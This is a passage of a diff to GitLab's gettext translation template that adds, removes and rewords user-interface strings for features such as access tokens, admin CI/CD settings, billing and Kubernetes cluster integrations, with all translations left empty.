+msgid_plural "%{bold_start}%{count}%{bold_end} members"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{bold_start}%{count}%{bold_end} opened merge request"
+msgid_plural "%{bold_start}%{count}%{bold_end} opened merge requests"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
+msgid "%{closedWeight} complete, %{openWeight} incomplete"
+msgstr ""
+
msgid "%{code_open}Masked:%{code_close} Hidden in job logs. Must match masking requirements."
msgstr ""
@@ -529,6 +544,12 @@ msgstr ""
msgid "%{count} files touched"
msgstr ""
+msgid "%{count} item"
+msgid_plural "%{count} items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+
msgid "%{count} items per page"
msgstr ""
@@ -721,10 +742,10 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
+msgid "%{link_start}Learn more%{link_end} about roles."
msgstr ""
-msgid "%{link_start}Read more%{link_end} about role permissions"
+msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
msgid "%{link_start}Remove the %{draft_snippet} prefix%{link_end} from the title to allow this merge request to be merged when it's ready."
@@ -892,6 +913,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "%{service_ping_link_start}Learn more%{service_ping_link_end} about what information is shared with GitLab Inc."
+msgstr ""
+
msgid "%{size} %{unit}"
msgstr ""
@@ -925,9 +949,6 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
-msgid "%{strongStart}Deletes%{strongEnd} source branch"
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1036,12 +1057,6 @@ msgstr ""
msgid "%{total} warnings found: showing first %{warningsDisplayed}"
msgstr ""
-msgid "%{type} License"
-msgstr ""
-
-msgid "%{usage_ping_link_start}Learn more%{usage_ping_link_end} about what information is shared with GitLab Inc."
-msgstr ""
-
msgid "%{userName} (cannot merge)"
msgstr ""
@@ -1072,6 +1087,9 @@ msgstr ""
msgid "%{user} created an issue: %{issue_link}"
msgstr ""
+msgid "%{value} is not included in the list"
+msgstr ""
+
msgid "%{value} s"
msgstr ""
@@ -1585,9 +1603,6 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
-msgid "A rule must be provided to create an escalation policy"
-msgstr ""
-
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1648,18 +1663,9 @@ msgstr ""
msgid "APIFuzzing|Code snippet could not be generated. Try again later."
msgstr ""
-msgid "APIFuzzing|Code snippet for the API Fuzzing configuration"
-msgstr ""
-
msgid "APIFuzzing|Configure HTTP basic authentication values. Other authentication methods are supported. %{linkStart}Learn more%{linkEnd}."
msgstr ""
-msgid "APIFuzzing|Copy code and open .gitlab-ci.yml file"
-msgstr ""
-
-msgid "APIFuzzing|Copy code only"
-msgstr ""
-
msgid "APIFuzzing|Customize common API fuzzing settings to suit your requirements. For details of more advanced configuration options, see the %{docsLinkStart}GitLab API Fuzzing documentation%{docsLinkEnd}."
msgstr ""
@@ -1864,13 +1870,13 @@ msgstr ""
msgid "AccessTokens|It cannot be used to access any other data."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can access repository static objects as if they were you. You should %{reset_link_start}reset it%{reset_link_end} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can access repository static objects as if they were you. If that ever happens, %{reset_link_start}reset this token%{reset_link_end}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can create issues as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can create issues as if they were you. If that happens, %{link_reset_it}."
msgstr ""
-msgid "AccessTokens|Keep this token secret. Anyone who gets ahold of it can read activity and issue RSS feeds or your calendar feed as if they were you. You should %{link_reset_it} if that ever happens."
+msgid "AccessTokens|Keep this token secret. Anyone who has it can read activity and issue RSS feeds or your calendar feed as if they were you. If that happens, %{link_reset_it}."
msgstr ""
msgid "AccessTokens|Personal Access Tokens"
@@ -1888,16 +1894,16 @@ msgstr ""
msgid "AccessTokens|You can generate a personal access token for each application you use that needs access to the GitLab API."
msgstr ""
-msgid "AccessTokens|Your feed token is used to authenticate you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar, and is included in those feed URLs."
+msgid "AccessTokens|Your feed token authenticates you when your RSS reader loads a personalized RSS feed or when your calendar application loads a personalized calendar. It is visible in those feed URLs."
msgstr ""
-msgid "AccessTokens|Your incoming email token is used to authenticate you when you create a new issue by email, and is included in your personal project-specific email addresses."
+msgid "AccessTokens|Your incoming email token authenticates you when you create a new issue by email, and is included in your personal project-specific email addresses."
msgstr ""
-msgid "AccessTokens|Your static object token is used to authenticate you when repository static objects (e.g. archives, blobs, ...) are being served from an external storage."
+msgid "AccessTokens|Your static object token authenticates you when repository static objects (such as archives or blobs) are served from an external storage."
msgstr ""
-msgid "AccessTokens|reset it"
+msgid "AccessTokens|reset this token"
msgstr ""
msgid "AccessibilityReport|Learn more"
@@ -2017,6 +2023,9 @@ msgstr ""
msgid "Add a comment to this line or drag for multiple lines"
msgstr ""
+msgid "Add a custom message with details about the instance's shared runners. The message is visible in group and project CI/CD settings, in the Runners section. Markdown is supported."
+msgstr ""
+
msgid "Add a general comment to this %{noteableDisplayName}."
msgstr ""
@@ -2026,6 +2035,9 @@ msgstr ""
msgid "Add a homepage to your wiki that contains information about your project and GitLab will display it here instead of this message."
msgstr ""
+msgid "Add a horizontal rule"
+msgstr ""
+
msgid "Add a line"
msgstr ""
@@ -2089,6 +2101,9 @@ msgstr ""
msgid "Add commit messages as comments to Asana tasks. %{docs_link}"
msgstr ""
+msgid "Add commit messages as comments to Pivotal Tracker stories. %{docs_link}"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -2215,6 +2230,9 @@ msgstr ""
msgid "AddMember|Invite limit of %{daily_invites} per day exceeded"
msgstr ""
+msgid "AddMember|No invite source provided."
+msgstr ""
+
msgid "AddMember|No users specified."
msgstr ""
@@ -2449,9 +2467,6 @@ msgstr ""
msgid "AdminSettings|Enable shared runners for new projects"
msgstr ""
-msgid "AdminSettings|Environment variables are protected by default"
-msgstr ""
-
msgid "AdminSettings|Feed token"
msgstr ""
@@ -2464,19 +2479,22 @@ msgstr ""
msgid "AdminSettings|Moved to integrations"
msgstr ""
+msgid "AdminSettings|New CI/CD variables in projects and groups default to protected."
+msgstr ""
+
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|Required pipeline configuration"
+msgid "AdminSettings|Protect CI/CD variables by default"
msgstr ""
-msgid "AdminSettings|See affected service templates"
+msgid "AdminSettings|Required pipeline configuration"
msgstr ""
-msgid "AdminSettings|Select a pipeline configuration file"
+msgid "AdminSettings|See affected service templates"
msgstr ""
-msgid "AdminSettings|Select a template"
+msgid "AdminSettings|Select a CI/CD template"
msgstr ""
msgid "AdminSettings|Service template allows you to set default values for integrations"
@@ -2488,7 +2506,7 @@ msgstr ""
msgid "AdminSettings|Session duration for Git operations when 2FA is enabled (minutes)"
msgstr ""
-msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
+msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
@@ -2497,10 +2515,7 @@ msgstr ""
msgid "AdminSettings|The latest artifacts for all jobs in the most recent successful pipelines in each project are stored and do not expire."
msgstr ""
-msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
-msgstr ""
-
-msgid "AdminSettings|When creating a new environment variable it will be protected by default."
+msgid "AdminSettings|The template for the required pipeline configuration can be one of the GitLab-provided templates, or a custom template added to an instance template repository. %{link_start}How do I create an instance template repository?%{link_end}"
msgstr ""
msgid "AdminSettings|You can't add new templates. To migrate or remove a Service template, create a new integration at %{settings_link_start}Settings &gt; Integrations%{link_end}. Learn more about %{doc_link_start}Project integration management%{link_end}."
@@ -2911,9 +2926,21 @@ msgstr ""
msgid "Admin|Admin notes"
msgstr ""
+msgid "Admin|Learn more about quarterly reconciliation"
+msgstr ""
+
msgid "Admin|Note"
msgstr ""
+msgid "Admin|Quarterly reconciliation will occur on %{qrtlyDate}"
+msgstr ""
+
+msgid "Admin|The number of max seats used for your namespace is currently exceeding the number of seats in your subscription. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
+msgid "Admin|The number of maximum users for your instance is currently exceeding the number of users in license. On %{qrtlyDate}, GitLab will process a quarterly reconciliation and automatically bill you a prorated amount for the overage. There is no action needed from you. If you have a credit card on file, it will be charged. Otherwise, you will receive an invoice."
+msgstr ""
+
msgid "Admin|View pending user approvals"
msgstr ""
@@ -3133,12 +3160,18 @@ msgstr ""
msgid "AlertSettings|Add new integration"
msgstr ""
+msgid "AlertSettings|Alert settings"
+msgstr ""
+
msgid "AlertSettings|Authorization key"
msgstr ""
msgid "AlertSettings|Configure details"
msgstr ""
+msgid "AlertSettings|Current integrations"
+msgstr ""
+
msgid "AlertSettings|Customize alert payload mapping (optional)"
msgstr ""
@@ -3265,9 +3298,6 @@ msgstr ""
msgid "AlertsIntegrations|Alerts will not be created through this integration"
msgstr ""
-msgid "AlertsIntegrations|Current integrations"
-msgstr ""
-
msgid "AlertsIntegrations|If you delete the %{integrationName} integration, alerts are no longer sent from this endpoint. This action cannot be undone."
msgstr ""
@@ -3334,6 +3364,9 @@ msgstr ""
msgid "All epics"
msgstr ""
+msgid "All escalations rules must have a schedule in the same project as the policy"
+msgstr ""
+
msgid "All groups and projects"
msgstr ""
@@ -3493,9 +3526,6 @@ msgstr ""
msgid "Amazon EKS integration allows you to provision EKS clusters from GitLab."
msgstr ""
-msgid "Amazon Web Services"
-msgstr ""
-
msgid "Amazon Web Services Logo"
msgstr ""
@@ -3568,9 +3598,6 @@ msgstr ""
msgid "An error occurred when toggling the notification subscription"
msgstr ""
-msgid "An error occurred when updating the issue due date"
-msgstr ""
-
msgid "An error occurred when updating the issue weight"
msgstr ""
@@ -3622,6 +3649,9 @@ msgstr ""
msgid "An error occurred while enabling Service Desk."
msgstr ""
+msgid "An error occurred while fetching ancestors"
+msgstr ""
+
msgid "An error occurred while fetching branches. Retry the search."
msgstr ""
@@ -3712,6 +3742,9 @@ msgstr ""
msgid "An error occurred while getting files for - %{branchId}"
msgstr ""
+msgid "An error occurred while getting issue counts"
+msgstr ""
+
msgid "An error occurred while getting projects"
msgstr ""
@@ -3868,9 +3901,6 @@ msgstr ""
msgid "An error occurred while updating the configuration."
msgstr ""
-msgid "An error occurred while updating the milestone."
-msgstr ""
-
msgid "An error occurred while updating the notification settings. Please try again."
msgstr ""
@@ -4147,9 +4177,6 @@ msgstr ""
msgid "Apply a template"
msgstr ""
-msgid "Apply changes"
-msgstr ""
-
msgid "Apply suggestion"
msgstr ""
@@ -4243,15 +4270,9 @@ msgstr ""
msgid "ApprovalRule|Rule name"
msgstr ""
-msgid "ApprovalRule|Status check"
-msgstr ""
-
msgid "ApprovalRule|Target branch"
msgstr ""
-msgid "ApprovalRule|Users or groups"
-msgstr ""
-
msgid "ApprovalStatusTooltip|Adheres to separation of duties"
msgstr ""
@@ -4639,9 +4660,6 @@ msgstr ""
msgid "At least one approval from a code owner is required to change files matching the respective CODEOWNER rules."
msgstr ""
-msgid "At least one logging option is required to be enabled"
-msgstr ""
-
msgid "At least one of group_id or project_id must be specified"
msgstr ""
@@ -4831,9 +4849,6 @@ msgstr ""
msgid "Auto DevOps enabled"
msgstr ""
-msgid "Auto DevOps, runners and job artifacts"
-msgstr ""
-
msgid "Auto stop successfully canceled."
msgstr ""
@@ -5221,6 +5236,9 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|Shared runners cannot be enabled until a valid credit card is on file."
+msgstr ""
+
msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
msgstr ""
@@ -5365,6 +5383,9 @@ msgstr[0] ""
msgstr[1] ""
msgstr[2] ""
+msgid "Boards|An error occurred while creating the epic. Please try again."
+msgstr ""
+
msgid "Boards|An error occurred while creating the issue. Please try again."
msgstr ""
@@ -5425,6 +5446,9 @@ msgstr ""
msgid "Boards|Failed to fetch blocking %{issuableType}s"
msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5455,6 +5479,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5677,6 +5704,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5845,6 +5875,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5893,10 +5926,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5941,6 +5974,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -6064,9 +6100,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6172,15 +6205,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6457,6 +6490,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6559,9 +6595,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6589,6 +6622,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -7018,9 +7054,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7030,24 +7063,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -7081,15 +7102,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7102,9 +7114,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7126,9 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7147,15 +7153,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7177,9 +7174,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7192,15 +7186,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7222,15 +7213,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7279,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7300,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7318,9 +7291,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7363,27 +7333,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7411,9 +7366,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7423,18 +7375,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7456,39 +7396,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7522,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7573,12 +7480,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7621,9 +7522,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7633,15 +7531,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7678,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7708,9 +7579,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7759,15 +7627,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7792,9 +7654,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7813,27 +7672,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7843,24 +7687,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7891,9 +7717,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7915,21 +7738,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7954,27 +7765,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
